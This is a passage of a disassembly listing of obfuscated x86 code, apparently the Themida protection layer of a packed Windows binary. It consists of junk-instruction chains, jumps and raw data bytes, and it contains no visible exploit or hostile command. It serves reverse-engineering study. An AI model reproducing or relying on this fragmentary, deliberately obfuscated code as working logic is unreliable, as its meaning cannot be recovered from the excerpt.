		dd 156F34A5h, 0B2DEE9h,	0C4835B00h, 1AA1E904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1946:				; CODE XREF: Themida_:005D4A3Fj
		push	edx
		add	dword ptr [esp], 2A53214Ah
		pop	ecx
		sub	ecx, 2A53214Ah
		mov	edx, [esp]
		add	esp, 4
		add	ebx, ecx
		pop	ecx
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		jmp	loc_5DCFE2
; ---------------------------------------------------------------------------
		dd 5986EB81h, 0CB013946h, 5986C381h, 0C3813946h, 67D52691h
		dd 4EC8359h, 0FF241C89h, 0E9042474h, 0A62Fh
; ---------------------------------------------------------------------------


loc_5D1990:				; CODE XREF: Themida_:005DC043j
		pop	ebx
		or	eax, eax
		jz	loc_5D94C9
		push	dword ptr [edi+1Ch]
		push	esi
		mov	esi, 49880FF1h
		sub	dword ptr [esp+4], 24C3751Ah
		sub	dword ptr [esp+4], 26FD08AAh
		sub	[esp+4], esi
		add	dword ptr [esp+4], 26FD08AAh
		push	esi
		mov	esi, 24C3751Ah
		add	[esp+8], esi
		pop	esi
		mov	esi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		jmp	loc_5D951D
; ---------------------------------------------------------------------------
		dd 2CCEBA52h, 0D00117FDh, 8324148Bh, 0E7E904C4h, 0D20000ADh
		dd 0E99C242Ch, 0FFFFFBC0h, 17A8EF81h, 15B59D5h,	0E6BD55CFh
		dd 0E9737220h, 189Fh, 8904EC83h, 4BF243Ch, 0E9000000h
		dd 37CAh, 81240C8Bh, 4C4h, 7B03E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1A2E:				; CODE XREF: Themida_:005D7FEEj
		push	edi
		mov	edi, esp
		push	edx
		mov	edx, 216D0011h
		add	edx, 71CC5FA1h
		or	edx, 28452F58h
		shr	edx, 2
		dec	edx
		xor	edx, 2EDF5FF9h
		add	edi, edx
		jmp	loc_5D339A
; ---------------------------------------------------------------------------
		dd 68242C89h, 4, 0FFEB015Dh, 815D2434h,	4C4h, 74FF5300h
		dd 0E95B0424h, 0E5Bh, 813C77FFh, 32252434h, 34E93061h
		dd 6800006Ah, 799Dh, 81242489h,	42404h,	0E9580000h, 1C35h
		dd 5202EA83h, 655BE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D1AA1:				; CODE XREF: Themida_:005DB73Aj
		push	ebx
		push	255Fh
		push	esp
		pop	dword ptr [esp]
		push	ecx
		mov	ecx, 4
		add	[esp+4], ecx
		jmp	loc_5D5147
; ---------------------------------------------------------------------------
		dw 0C801h
		dd 4BE5659h, 0E9000000h, 32D0h
; ---------------------------------------------------------------------------


loc_5D1AC8:				; CODE XREF: Themida_:005D58E0j
		xchg	ebp, [esp]
		mov	esp, [esp]
		jmp	loc_5D38F8
; ---------------------------------------------------------------------------


loc_5D1AD3:				; CODE XREF: Themida_:005D8C94j
		inc	esi
		dec	esi
		xor	esi, 8F9C1938h
		add	ebp, 4AE334E1h
		sub	ebp, 0CF1E27h
		add	ebp, esi
		add	ebp, 0CF1E27h
		sub	ebp, 4AE334E1h
		jmp	loc_5D1B86
; ---------------------------------------------------------------------------
		dw 459h
		dd 2CD828CEh, 51532CCEh, 3A0668h, 24148900h, 88539AB2h
		dd 5BD988D3h, 5224148Bh, 0E951E289h, 5D49h, 5C240C87h
		dd 0E904C583h, 35D5h
; ---------------------------------------------------------------------------


loc_5D1B2C:				; CODE XREF: Themida_:005D8814j
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_5DAD18
; ---------------------------------------------------------------------------
		db 5
		dd 53E3231h, 0CCE9505Eh, 83000090h, 4AE904C4h, 5400002Ch
		dd 4C2815Ah, 57000000h,	45518BFh, 1AF78152h, 1520455h
		dd 14875FFAh, 24248B24h, 0E9E1F766h, 0B62Dh
; ---------------------------------------------------------------------------


loc_5D1B7C:				; CODE XREF: Themida_:005D708Fj
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_5DBD66
; ---------------------------------------------------------------------------


loc_5D1B86:				; CODE XREF: Themida_:005D1AF5j
		pop	esi
		jmp	loc_5D46DB
; ---------------------------------------------------------------------------
		dd 0C012C180h, 0E98003E1h, 0D9E95296h
		db 0ABh, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1B9B:				; CODE XREF: Themida_:005D72E2j
		add	ebp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		jmp	loc_5D4431
; ---------------------------------------------------------------------------


loc_5D1BAF:				; CODE XREF: Themida_:005D1CCEj
		add	esp, 4
		push	6AC1h
		mov	[esp], esi
		jmp	loc_5D5275
; ---------------------------------------------------------------------------
aYvichpo	db 'YVhO',0
		align 4
		dd 0E9240489h, 4747h
; ---------------------------------------------------------------------------


loc_5D1BD0:				; CODE XREF: Themida_:005D90DBj
		add	esi, 38C8780Ch
		mov	ebp, esi
		pop	esi
		dec	ebp
		dec	ebp
		jmp	loc_5D5B4B
; ---------------------------------------------------------------------------
		dd 4E5AD689h, 7FC9F681h, 0EE810EEAh, 21F55424h,	0C681DEF7h
		dd 7E44B8A2h, 0C106EEC1h, 30E904E6h
		db 9Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1C03:				; CODE XREF: Themida_:005DA2A8j
		mov	ebx, 28h
		add	ebx, edi
		push	dword ptr [ebx]
		sub	dword ptr [esp], 77575D23h
		pop	eax
		push	esi
		mov	esi, 77575D23h
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_5DBD47
; ---------------------------------------------------------------------------


loc_5D1C2A:				; CODE XREF: Themida_:005D6A40j
		xor	esi, eax
		xor	eax, esi
		xor	esi, edi
		xor	edi, esi
		xor	esi, edi
		push	1B47h
		jmp	loc_5DB423
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 4EC8324h, 763DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D1C49:				; CODE XREF: Themida_:005D4CFFj
		pop	esi
		neg	esi
		sub	esi, 3D2C3A13h
		push	esi
		inc	dword ptr [esp]
		jmp	loc_5D641C
; ---------------------------------------------------------------------------
		db 28h
		dd 4992CF0h, 0E9535A40h, 40B2h
; ---------------------------------------------------------------------------


loc_5D1C68:				; CODE XREF: Themida_:005D6A66j
		mov	[esp], ebp
		push	69FFh
		jmp	loc_5D4E72
; ---------------------------------------------------------------------------
		db 5Ah,	81h, 0EEh
		dd 2A7E22A9h, 875EF301h, 248B241Ch, 2434FF24h, 8B2434FFh
		dd 89532404h, 0FB57E9E3h, 0EE81FFFFh, 6E600FBh,	58F1EE81h
		dd 65E973C6h, 0BA0000B1h, 2CBA7C96h, 0BE56424Ah, 39C53FE2h
		dd 0EE81DEF7h, 8413935Dh, 815EF201h, 0B02450F2h, 532DE907h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1CCA:				; CODE XREF: Themida_:005DD032j
		push	esp
		mov	ebp, [esp]
		jmp	loc_5D1BAF
; ---------------------------------------------------------------------------
		align 4
		dd 0F90459CBh, 0F92CD800h, 83241C8Bh, 0B65204C4h, 2226E9DEh
		dd 0C1810000h, 4, 0BF575556h, 4304BD8h,	555FFD89h, 72242C81h
		dd 5E104F3Ah, 3A72C681h, 815D104Fh, 0E47CB5C6h,	75BD5536h
		dd 1C4EB37h, 242C8BEEh,	4C481h,	0F1010000h, 240C875Eh
		dd 6624248Bh, 9C242CD3h, 0FFF887E9h, 0C8B54FFh,	4C48124h
		dd 53000000h, 55357ABBh, 88EB8168h, 813B8D58h, 8052E5F3h
		dd 0BEEB815Bh, 812F8F45h, 47B7ABC3h, 5BD901B8h,	4C181h
		dd 0C870000h, 4E4FE924h, 52510000h, 600E10BAh, 0E9D18959h
		dd 11ABh, 0FFBB6850h, 2958CEF9h, 2609E9C3h, 0EC810000h
		dd 4, 0E9241489h, 0B848h, 3507E0C1h, 126B495Eh,	0E8C1D8F7h
		dd 52BF2D06h, 1BE9EA8Dh, 68000076h, 74BDh, 0E9243C89h
		dd 0E23h
; ---------------------------------------------------------------------------


loc_5D1DBC:				; CODE XREF: Themida_:005D69DFj
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_5D2B61
; ---------------------------------------------------------------------------


loc_5D1DC6:				; CODE XREF: Themida_:005D532Bj
		push	edx
		jmp	loc_5D5FC0
; ---------------------------------------------------------------------------
		dd 0FAEF781h, 0C14F1696h, 0F78103EFh, 689F586Ah, 74BDEF81h
		dd 0CAE965C6h, 5200005Dh, 261EE9h, 4C28100h, 57000000h
		dd 4BFh, 8AC28100h, 1164F69h, 8AEA81FAh, 8B164F69h, 0C481243Ch
		dd 4, 31241433h, 14332414h, 24248B24h, 32F2E9h,	24248B00h
		dd 582434FFh, 6DB168h, 24148900h, 50E5E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D1E35:				; CODE XREF: Themida_:005D9FABj
		shl	edx, 1
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		jmp	loc_5D82CB
; ---------------------------------------------------------------------------
		db 81h
		dd 360285E6h, 0F4BD5559h, 0F741320Dh, 81DDF7DDh, 0F30883CDh
		dd 2ED8175h, 453C8126h,	1A07C581h, 0EE29CEB4h, 0E9F3295Dh
		dd 24h,	0BA52h,	0F2290000h, 815AD689h, 835CB0CEh, 48C6813Ch
		dd 1426421h, 95685EF7h,	0E900004Dh, 3DE0h, 241C875Eh, 8924248Bh
		dd 0D1682414h, 89000037h, 0D5E92404h
		db 23h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D1EAF:				; CODE XREF: Themida_:005DA360j
		mov	eax, 35A25C03h
		xor	ebp, eax
		pop	eax
		jmp	loc_5DBC56
; ---------------------------------------------------------------------------
		dd 0E9241C8Bh, 28B2h, 939C681h,	0F229B271h, 8124348Bh
		dd 4C4h, 27E28100h, 8145C35Bh, 4ECh, 24348900h,	1D0CDABEh
		dd 851DE92Bh, 0CA800000h, 4EC83C0h, 0B5240C89h,	34F5808Dh
		dd 3F6FE9h
		db 0
; ---------------------------------------------------------------------------


loc_5D1F01:				; CODE XREF: Themida_:005D4AD1j
		mov	edi, 6AC4296Eh
		jmp	loc_5D5EBE
; ---------------------------------------------------------------------------


loc_5D1F0B:				; CODE XREF: Themida_:005D15DAj
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		jmp	loc_5DB3F4
; ---------------------------------------------------------------------------
aRs		db 'R',27h,'<',0
		align 2
aIxhf		db 'hf<',0
		dd 24048900h, 4BA52h, 0E9520000h, 0A7Fh, 0E924248Bh, 0FFFFF680h
		dd 5C240C87h, 89240C89h, 4BF57E1h, 81000000h, 4C4E1EE9h
		dd 81F90100h, 4C4E1EC1h, 243C8B00h, 7EA4E9h, 5AAA0500h
		dd 0D8017137h, 375AAA2Dh, 0E6E95B71h, 81000093h, 0DC1D6FCBh
		dd 0EB814B78h, 0E9860B0Fh, 44E9DF29h, 81000051h, 4ECh
		dd 240C8900h, 0E2ABEB9h, 4EC813Ah, 0E9000000h, 1347h
; ---------------------------------------------------------------------------


loc_5D1FA0:				; CODE XREF: Themida_:005D7F52j
		xor	[esp], ebp
		jmp	loc_5DBCFE
; ---------------------------------------------------------------------------
		dd 903FEA35h, 0EAEA8177h, 2900150Fh, 0EAC281C2h, 5800150Fh
		dd 6EE9D031h, 55FFFFF9h, 468h, 6C015D00h, 0E95D0424h, 5C8h
; ---------------------------------------------------------------------------


loc_5D1FD4:				; CODE XREF: Themida_:005DAD5Cj
		push	dword ptr [esp+4]
		pop	ecx
		jmp	loc_5D2681
; ---------------------------------------------------------------------------


loc_5D1FDE:				; CODE XREF: Themida_:005DA926j
		mov	[esp], edx
		mov	edx, 761C1EF4h
		jmp	loc_5D4277
; ---------------------------------------------------------------------------
		db 54h
		dd 4C6815Eh, 68000000h,	3F98h, 0B8240489h, 4, 34FFC629h
		dd 0C4815824h, 4, 1AAB68h, 24348900h, 42474FFh,	24048F5Eh
		dd 240C895Ch, 1B850h, 0C1890000h, 8324048Bh, 0FEE904C4h
		db 3Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D2033:				; CODE XREF: Themida_:005D48A9j
		inc	esi
		shr	esi, 1
		add	esi, 26D06E58h
		push	edx
		mov	edx, 55E904C5h
		xor	edx, 73A7853h
		add	edx, 0C0C2C979h
		sub	esi, edx
		jmp	loc_5D8A3C
; ---------------------------------------------------------------------------
aB4RaSO		db '4$a*=',0
		dd 240C8900h, 6668E189h, 89000068h, 4BE2434h, 81000000h
		dd 6E67F1E9h, 81F10125h, 6E67F1C1h, 0BE565E25h,	2, 515EF101h
		dd 0B2EEE9h, 46BDBA00h,	1CE96041h
		db 54h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D209B:				; CODE XREF: Themida_:005D8288j
		and	ebp, 29263C83h
		sub	ebp, 0F9F1021Bh
		add	edx, ebp
		pop	ebp
		shr	edx, 8
		sub	edx, 0FFFFFFFFh
		shr	edx, 1
		xor	edx, 1B1A1Dh
		sub	ebp, edx
		pop	edx
		xor	ebp, [esp]
		jmp	loc_5D8A80
; ---------------------------------------------------------------------------
		dw 0CA29h
		dd 83240C8Bh, 0D68904C4h, 0B2C1815Ah, 16E6A0Ch,	2560E9F1h
		dd 0FA010000h, 673AEA81h, 0EA812B7Bh, 62ED66B9h, 4FE0E9h
		dd 0E9D82900h, 9D3h
; ---------------------------------------------------------------------------


loc_5D20F8:				; CODE XREF: Themida_:005D384Bj
		and	edi, edx
		pop	edx
		sub	edi, 1003948h
		and	eax, edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		add	esp, 4
		push	eax
		mov	eax, esp
		jmp	loc_5DC697
; ---------------------------------------------------------------------------
		dw 0C529h
		dd 92DED81h, 97E92D3Fh
		db 18h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D2127:				; CODE XREF: Themida_:005D8C7Bj
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	eax, [esp]
		push	6DA5h
		mov	[esp], edx
		push	esp
		jmp	loc_5DBB4A
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0EC832404h, 242C8904h, 242C8B54h, 4C481h, 0F7E90000h
		dd 81000024h, 0BE24A0F5h, 22BA5255h, 313C5364h,	0C9E95AD5h
		dd 5B00006Bh, 1FC26858h, 34890000h, 24048124h, 67904510h
		dd 5F2434FFh, 0E9E78957h, 0ADD3h, 4C281h, 0C2830000h, 74FF5204h
		dd 148B0424h, 4C48324h,	0E924048Fh, 7B33h, 0F0E9575Ah
		dd 81000025h, 4D64B5C5h, 1FE95665h, 58000029h, 68E38953h
		dd 571Dh, 5F36E9h, 4C48100h, 0E9000000h, 474Ah,	520DBA52h
		dd 7E90CA2h, 5B00005Dh,	0E9516004h, 94BFh, 4BFh, 0FFFD0100h
		dd 0E95F2434h, 5D3Fh
; ---------------------------------------------------------------------------


loc_5D21F4:				; CODE XREF: Themida_:005DD520j
		shl	edi, 4
		xor	edi, 2B345E56h
		jmp	loc_5DC322
; ---------------------------------------------------------------------------
		dw 1C89h
		dd 0BB24h, 0EEE90000h, 3100006Ch, 0D02959CAh, 8DA6E9h
		dd 80E9AD00h, 2D000063h, 7A185182h, 623FE9h, 59545100h
		dd 4C181h, 0E9810000h, 4, 0FFFCFFE9h, 5EF109FFh, 8107E9C1h
		dd 0FFFFFFE9h, 94C181FFh, 8177CA62h, 1BD130F1h,	0B0F4E977h
		dd 0F9880000h, 0CB88535Bh, 5B871C88h
		db 8Bh,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_5D32A1
; ---------------------------------------------------------------------------


loc_5D2278:				; CODE XREF: Themida_:005D55EEj
		mov	ebp, esp
		add	ebp, 4
		push	edx
		mov	edx, 2F87001Ah
		and	edx, 1F7945B7h
		push	ebp
		mov	ebp, 40630F26h
		jmp	loc_5DD39E
; ---------------------------------------------------------------------------


loc_5D2297:				; CODE XREF: Themida_:005D5C73j
		shl	edi, 4
		dec	edi
		jmp	loc_5DC74F
; ---------------------------------------------------------------------------
		dd 0FFE95E5Bh
		db 0A4h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D22A7:				; CODE XREF: Themida_:005DABFAj
		and	eax, ebx
		push	dword ptr [esp]
		jmp	loc_5DA59B
; ---------------------------------------------------------------------------
		db 56h,	55h, 0BDh
		dd 62EE638Eh, 7555E581h, 514D61E1h, 777CA5B9h, 59CD2153h
		dd 81DDF74Dh, 0F87FB5EDh, 5DEE8960h, 3D43E681h,	0C681541Dh
		dd 5F7A3FF3h, 1EADCE81h, 0F681169Fh, 4AF7829h, 0F5C6814Eh
		dd 96D8F28h, 24348BF7h,	8104C483h, 7C19D3C7h, 5FF801F3h
		dd 0B6E95153h, 81000095h, 0A22E14EEh, 3D1BE940h, 0EB810000h
		dd 63CE1779h, 688BEB81h, 0C3815865h, 1C5D4E5Ch,	0FE5CF381h
		dd 0DF01BCF0h, 2C7815Bh, 57000000h, 42474FFh, 24048F5Fh
		dd 244AE9h, 79ACBF00h, 0B6B92EB3h, 0E9110B08h, 6ADFh
; ---------------------------------------------------------------------------


loc_5D2354:				; CODE XREF: Themida_:005DA41Dj
		pop	ebp
		sub	ecx, 297A2AD4h
		mov	esi, ecx
		pop	ecx
		and	eax, esi
		push	dword ptr [esp]
		jmp	loc_5D3BE7
; ---------------------------------------------------------------------------
		dd 207F83ADh, 71840F00h, 81000000h, 0C62652EEh,	5EB95138h
		dd 8132326Bh, 437998C9h, 4EC8340h, 0E9243C89h, 0A1E7h
; ---------------------------------------------------------------------------


loc_5D2390:				; CODE XREF: Themida_:005D7C89j
		add	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		mov	ebx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	460Dh
		jmp	loc_5D3C2F
; ---------------------------------------------------------------------------
		dw 7486h
		dd 0D6F60124h, 1247486h, 8B2434FFh, 0C483240Ch,	4C48104h
		dd 0E9000000h, 2505h
; ---------------------------------------------------------------------------


loc_5D23D0:				; CODE XREF: Themida_:005D6FF2j
		sub	esi, 1D8343D5h
		push	esi
		sub	dword ptr [esp], 27144E31h
		jmp	loc_5D4E95
; ---------------------------------------------------------------------------
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5D886E
; ---------------------------------------------------------------------------
		dw 0EC81h
		dd 4, 0E9241C89h, 42Fh,	278CCD81h, 0F58111E2h, 9B10A044h
		dd 62DFE9h, 37F58100h, 0E9608665h, 1F9Ah, 83E9D029h, 0F7000050h
		dd 0E99C241Ch, 0FFFFF190h, 52243C89h, 1430FABAh, 0AAD7E92Eh
		dd 2C310000h, 242C3324h, 8924248Bh, 4FBE2434h, 8121E45Ch
		dd 0D74C61C7h, 56F70108h, 0D74C61BEh, 5EF72908h, 7266055Eh
		dd 860562CCh, 10D1756h,	56862DF8h, 662D0D17h, 5F62CC72h
		dd 37D6E9h, 0D8285A00h,	8904EC83h, 14B3241Ch, 5108EBC0h
		dd 2CE985B5h, 71h, 0A79FE9F0h, 34890000h, 143BE24h, 53554961h
		dd 0DD89F389h, 23D6E9h,	2C28100h, 0E9000000h, 0A99Bh, 8104C483h
		dd 0C21340EFh, 0E9F9295Bh, 9718h
; ---------------------------------------------------------------------------


loc_5D24C4:				; CODE XREF: Themida_:005D51A1j
		pop	esi
		shr	esi, 8
		xor	esi, 0C5FF86h
		mov	edx, esi
		mov	esi, [esp]
		jmp	loc_5D287F
; ---------------------------------------------------------------------------
		dd 240C8B66h, 8256E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D24E1:				; CODE XREF: Themida_:005DBA19j
		sub	bl, al
		jmp	loc_5D8B26
; ---------------------------------------------------------------------------
		dd 835BDE01h, 343302C6h, 24343124h, 0E9243433h,	4757h
		dd 4DCCBF57h, 0E7C1277Ch, 81DFF707h, 5F1CECEFh,	0E9F82936h
		dd 0AFA9h
; ---------------------------------------------------------------------------


loc_5D2514:				; CODE XREF: Themida_:005DA7BFj
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 0Ah
		sub	esp, 4
		mov	[esp], edx
		push	ebx
		pop	edx
		sub	esp, 4
		mov	[esp], edx
		pop	eax
		mov	edx, [esp]
		push	esi
		jmp	loc_5D416E
; ---------------------------------------------------------------------------
		dd 4C481h, 48F0000h, 0AFDFE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D2546:				; CODE XREF: Themida_:005D887Ej
		sub	esp, 4
		mov	[esp], edi
		push	224040DBh
		pop	edi
		push	eax
		mov	eax, 2AF05DF4h
		jmp	loc_5D2E8B
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db '$h;',0
		align 2
aIHD		db ',$hd',0
		align 2
		dw 2489h
		dd 24048124h, 4, 83242C8Bh, 916804C4h, 89000006h, 25E92404h
		dd 8100007Ah, 51555AC3h, 0AACB817Ah, 0E92DB115h, 496Fh
		dd 5024048Bh, 405E089h,	83000000h, 0AE904C0h, 5000001Ah
		dd 3A5691B8h, 807EE909h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D25BA:				; CODE XREF: Themida_:005D7231j
		or	esi, 23B7577Bh
		sub	esp, 4
		mov	[esp], ecx
		push	352F1A53h
		pop	ecx
		xor	ecx, 7AD873B8h
		jmp	loc_5D75D3
; ---------------------------------------------------------------------------
aRsuk		db 'RK',0
		align 10h
		dd 555DEB01h, 32236FBDh, 771EE961h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D25EE:				; CODE XREF: Themida_:005D6106j
		shr	bl, 4
		add	bl, 5
		push	eax
		jmp	loc_5D2BD6
; ---------------------------------------------------------------------------
		dw 215Ah
		dd 242C8BE8h, 4C481h, 0E8C10000h, 5D8F705h, 4E000Bh, 536DC781h
		dd 0EF816E1Fh, 21980267h, 0C781C701h, 21980267h, 536DEF81h
		dd 54E96E1Fh
		db 62h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D262F:				; CODE XREF: Themida_:005D8949j
		mov	eax, 7F6956DAh
		jmp	loc_5D8C2E
; ---------------------------------------------------------------------------


loc_5D2639:				; CODE XREF: Themida_:005D6368j
		push	eax
		mov	eax, 20h
		jmp	loc_5D6DFE
; ---------------------------------------------------------------------------
		dd 26DDF781h, 0EF813AE6h, 74E30B92h, 4486C781h,	0F7816F44h
		dd 70D6011Fh, 0AC4E957h, 0ACBF0000h, 0BB14B805h, 14B805AEh
		dd 0E95FFB29h, 0FFFFEF99h
; ---------------------------------------------------------------------------


loc_5D2674:				; CODE XREF: Themida_:005D2701j
		push	6B3Dh
		mov	[esp], eax
		jmp	loc_5D524B
; ---------------------------------------------------------------------------


loc_5D2681:				; CODE XREF: Themida_:005D1FD9j
		pop	dword ptr [esp]
		pop	esp
		or	eax, eax
		jz	loc_5D9DA2
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_5DD02A
; ---------------------------------------------------------------------------


loc_5D269E:				; CODE XREF: Themida_:005D64E3j
		push	639Ch
		mov	[esp], edx
		mov	edx, 4424E31h
		jmp	loc_5D94FC
; ---------------------------------------------------------------------------
aNu5orSSc4	db 'U5OR',27h,')])c4',0
		dd 4B900h, 4C010000h, 5A590424h, 1811E9h, 0B9515900h, 4
		dd 0C8BCD29h, 0E6895624h, 73A1B951h, 0C18164ACh, 9B538C63h
		dd 8014E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D26F1:				; CODE XREF: Themida_:005DD22Ej
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5D2674
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 1A635470h, 7AE8E959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D2712:				; CODE XREF: Themida_:005D8E71j
		shr	ecx, 7
		jmp	loc_5D3119
; ---------------------------------------------------------------------------
		dw 0C281h
		dd 4, 8221E950h, 0DBF70000h, 685BE9h, 0ABC28100h, 290774C4h
		dd 9D4EE9D0h, 0EC830000h, 7480E904h, 1680000h, 0E9000000h
		dd 2E25h, 582434FFh, 8599E9h
		db 0
; ---------------------------------------------------------------------------


loc_5D2755:				; CODE XREF: Themida_:005DA4E0j
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		push	882h
		jmp	loc_5D3856
; ---------------------------------------------------------------------------
		db 81h
		dd 4C6h, 24348700h, 34C9E9h, 0B0505C00h, 2DB0E994h, 0EB810000h
		dd 67D52691h, 0FFF1DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5D278D:				; CODE XREF: Themida_:005D49D9j
		add	edx, edi
		mov	edi, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		push	esi
		push	ebp
		push	79E675EDh
		pop	ebp
		add	ebp, 86198A17h
		mov	esi, ebp
		pop	ebp
		add	edx, esi
		mov	esi, [esp]
		jmp	loc_5DD642
; ---------------------------------------------------------------------------


loc_5D27C0:				; CODE XREF: Themida_:005DCE07j
		xchg	esi, [esp]
		pop	esp
		push	esi
		mov	esi, esp
		jmp	loc_5D4690
; ---------------------------------------------------------------------------
		dd 5359BD55h, 0CD81189Fh, 4DF37EBBh, 0CD81DDF7h, 554868EEh
		dd 475A68h, 241C8900h, 515D8ABBh, 5BDD2133h, 19E8CD81h
		dd 98E90D89h
		db 19h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D27FB:				; CODE XREF: Themida_:005D5C29j
		pop	ebp
		jmp	loc_5D402C
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 8104C483h, 7F04246Ch, 137EA6Bh, 81042444h, 7F042444h
		dd 5837EA6Bh, 8140478Fh, 17EC406Fh, 48B43FEh, 0F2E95224h
		dd 0B7000006h, 0E9FE280Fh, 2D5Eh
; ---------------------------------------------------------------------------


loc_5D2838:				; CODE XREF: Themida_:005D6BB8j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		sub	esp, 4
		jmp	loc_5DA956
; ---------------------------------------------------------------------------
aIs_l		db 'I.',0
		db 0
; ---------------------------------------------------------------------------


loc_5D285B:				; CODE XREF: Themida_:005D78C1j
		or	eax, eax
		jz	loc_5D4BD8
		push	dword ptr [edi+1Ch]
		mov	ecx, [esp]
		push	872h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	edi
		jmp	loc_5D69DA
; ---------------------------------------------------------------------------


loc_5D287F:				; CODE XREF: Themida_:005D24D3j
		add	esp, 4
		add	edx, 32346A9Ch
		jmp	loc_5D7E8E
; ---------------------------------------------------------------------------
		db 55h,	0E9h, 0F8h
		dd 0BD000016h, 12BB3E12h, 331CED81h, 0E5C13631h, 0F905E905h
		dd 5F54FFFFh, 4C781h, 0B9510000h, 1A9A2175h, 4EC8141h
		dd 89000000h, 0D6682414h, 5A245661h, 1F16EA81h,	3E953C9h
		dd 8F00004Bh, 315C2404h, 0E1E92404h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5D28DB:				; CODE XREF: Themida_:005D76D7j
		push	dword ptr [esp+4]
		jmp	loc_5DCFC9
; ---------------------------------------------------------------------------


loc_5D28E4:				; CODE XREF: Themida_:005D8321j
		sub	ecx, 84D215B7h
		and	[edi+20h], ecx
		pop	ecx
		shr	dword ptr [edi+20h], 7
		add	dword ptr [edi+20h], 0FF7FBFC0h


loc_5D28F9:				; CODE XREF: Themida_:005D6337j
					; Themida_:005DCA30j
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_5D30C4
; ---------------------------------------------------------------------------
		dd 4BEh, 0E9F72900h, 1A2Bh
; ---------------------------------------------------------------------------


loc_5D2924:				; CODE XREF: Themida_:005D97F2j
		add	ebp, eax
		jmp	loc_5DCF3E
; ---------------------------------------------------------------------------
		db 1
		dd 0CE015DEEh, 7E4CB850h, 0C6296AB1h, 8124048Bh, 4C4h
		dd 34875900h, 0D6E95C24h, 4F00005Bh, 90ECC781h,	0C1819061h
		dd 73FB26F6h, 0E981F901h, 73FB26F6h, 0A15BE9h, 60EF8100h
		dd 0E93DDB2Bh, 1C3Ch, 0D32DD8F7h, 31ED3266h, 0D68958C2h
		dd 7968565Ah, 0E9556B1Eh, 0AC62h
; ---------------------------------------------------------------------------


loc_5D2988:				; CODE XREF: Themida_:005D80F6j
		xchg	ebp, [esp]
		jmp	loc_5D8DD5
; ---------------------------------------------------------------------------
		dd 0FFEC27E9h, 4C481FFh, 29000000h, 52E95AD1h, 0F000052h
		dd 0BB68C8BFh, 8900000Eh, 28E9240Ch, 81000045h,	31752434h
		dd 5FE974BCh
		db 47h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5D29BF:				; CODE XREF: Themida_:005D4CCFj
		xchg	ecx, esi
		jmp	loc_5DD7C2
; ---------------------------------------------------------------------------
		dw 1C33h
		dd 241C3124h, 0E9241C33h, 43DAh, 50C26853h, 0C15B265Ch
		dd 0EB8308E3h, 93C38101h, 89C53564h, 0BA525BD8h, 41F4513Eh
		dd 0E8BF5753h, 8977D675h, 7E95FFBh, 89000036h, 654E9E0h
